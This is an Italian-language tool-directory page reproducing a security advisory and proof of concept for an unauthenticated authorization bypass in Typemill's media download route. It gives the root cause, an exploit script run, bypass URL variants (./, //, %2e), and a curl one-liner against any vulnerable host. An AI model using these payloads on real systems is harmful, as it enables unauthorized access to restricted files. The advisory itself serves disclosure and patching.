Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-71518 — Advisory e PoC per un bypass di autorizzazione non autenticato nei download dei media di Typemill, utilizzando varianti URL equivalenti in termini di percorso per accedere a file protetti da ruoli. | Kitploit
Strumenti/GitHubGitHub/ilhomjonr/cve-2026-71518
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Advisory e PoC per un bypass di autorizzazione non autenticato nei download dei media di Typemill, utilizzando varianti URL equivalenti in termini di percorso per accedere a file protetti da ruoli.

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-71518 — Bypass dell'autorizzazione senza autenticazione in Typemill

Le varianti URL equivalenti a livello di percorso aggirano i download dei media limitati per ruolo

La restrizione è basata sul percorso grezzo della richiesta; il file viene letto dal percorso risolto dal sistema operativo — i due non coincidono

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

In sintesi · Sommario · Causa principale · Catena di attacco · Exploit · Mitigazione · Cronologia


📋 In sintesi


🔎 Sommario

Typemill consente a un amministratore di limitare singoli file multimediali a uno specifico ruolo utente tramite media/files/filerestrictions.yaml. La rotta pubblica di download dovrebbe onorare tale restrizione — ma verifica la restrizione sul percorso grezzo della richiesta mentre serve i byte dal percorso risolto dal filesystem. Poiché lo stesso file ha molte grafie equivalenti a livello di percorso (./name, //name, %2e/name), un attaccante sceglie una variante che non corrisponde alla chiave di restrizione ma che risolve comunque allo stesso file su disco.

La rotta non presenta alcun middleware di autenticazione, quindi il risultato è un download completamente non autenticato di file che erano stati esplicitamente bloccati per un ruolo.


🧬 Causa principale

La rotta di download è pubblica — non c'è alcun middleware di autenticazione:

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

All'interno di system/typemill/Controllers/ControllerWebDownload.php, la decisione di controllo degli accessi e la lettura del file usano due rappresentazioni diverse dello stesso percorso:

root@kitploit:~
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() rifiuta solo la sequenza letterale .. — non normalizza ./ o // e non rifiuta gli equivalenti codificati in percentuale. Così la chiave di restrizione e il file che viene effettivamente letto non sono più allineati:

Il bug è il classico schema "decisione di autorizzazione e accesso alla risorsa basati su stringhe diverse e controllabili dall'attaccante" (CWE-639/CWE-863). Anche sotto Apache $_SERVER['REQUEST_URI'] rimane grezzo, quindi non è specifico del server.


⛓️ Catena di attacco

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. L'amministratore carica un file privato e lo limita a un ruolo in filerestrictions.yaml.
  2. L'URL canonico viene correttamente bloccato per gli utenti anonimi.
  3. L'attaccante richiede una variante equivalente a livello di percorso → la chiave di restrizione non corrisponde, il file viene comunque risolto → il download riesce senza alcuna credenziale.

💥 Exploit

exploit/exploit.py riproduce il problema end-to-end contro un container di test locale. Lo script (1) fa sì che l'"admin" pubblichi un file privato limitato al ruolo editor, (2) conferma che l'URL canonico è bloccato per un utente anonimo, quindi (3) scarica lo stesso file tramite ogni variante equivalente a livello di percorso.

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

Output previsto:

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

One-liner contro qualsiasi host vulnerabile (solo test autorizzati):

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

Evidenza del PoC


🛠️ Mitigazione

  • Aggiorna a Typemill 2.26.0 o versione successiva.
  • La correzione corretta consiste nel canonicalizzare/normalizzare il percorso della richiesta una sola volta, per poi usare quel singolo valore canonico sia per la verifica della restrizione sia per la lettura del file — così la chiave di controllo degli accessi e la risorsa servita non possono mai divergere.
  • Difesa in profondità: risolvere con realpath() e verificare che il file sia contenuto nella directory base dei media prima della lettura, oltre a rifiutare i separatori di percorso codificati in percentuale.

🗓️ Cronologia

DataEvento
2026-08-04Vulnerabilità scoperta in Typemill 2.25.0; PoC verificato end-to-end su Docker
2026-08-04Segnalata al mantenitore / a VulnCheck

📚 Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
  • Versione corretta: https://github.com/typemill/typemill/releases/tag/v2.26.0

Solo per test di sicurezza autorizzati e uso didattico. © @IlhomjonR

Scarica lo strumento
CVE IDCVE-2026-71518
Prodottotypemill/typemill — Typemill (CMS PHP flat-file, Slim 4)
Versioni interessatetutte le versioni < 2.26.0 (verificata su 2.25.0, commit 8f3901c)
Corretta in2.26.0
DebolezzaCWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS v3.17.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — High
VettoreRete · nessuna autenticazione · nessuna interazione con l'utente
ImpattoDownload non autenticato di file multimediali che un amministratore ha limitato a un ruolo privilegiato
RicercatoreIlhomjon Rustamov (@IlhomjonR)
Percorso della richiestaChiave di restrizione corrispondente?File risolto su discoEsito
/media/files/secret.pdf✅ sìsecret.pdf🔒 bloccato (302 → login)
/media/files/./secret.pdf❌ nosecret.pdf🟢 servito (200)
/media/files//secret.pdf❌ nosecret.pdf🟢 servito (200)
/media/files/%2e/secret.pdf❌ nosecret.pdf🟢 servito (200)
—
Corretta in Typemill 2.26.0
2026-08-18CVE-2026-71518 pubblicata; advisory + PoC rilasciati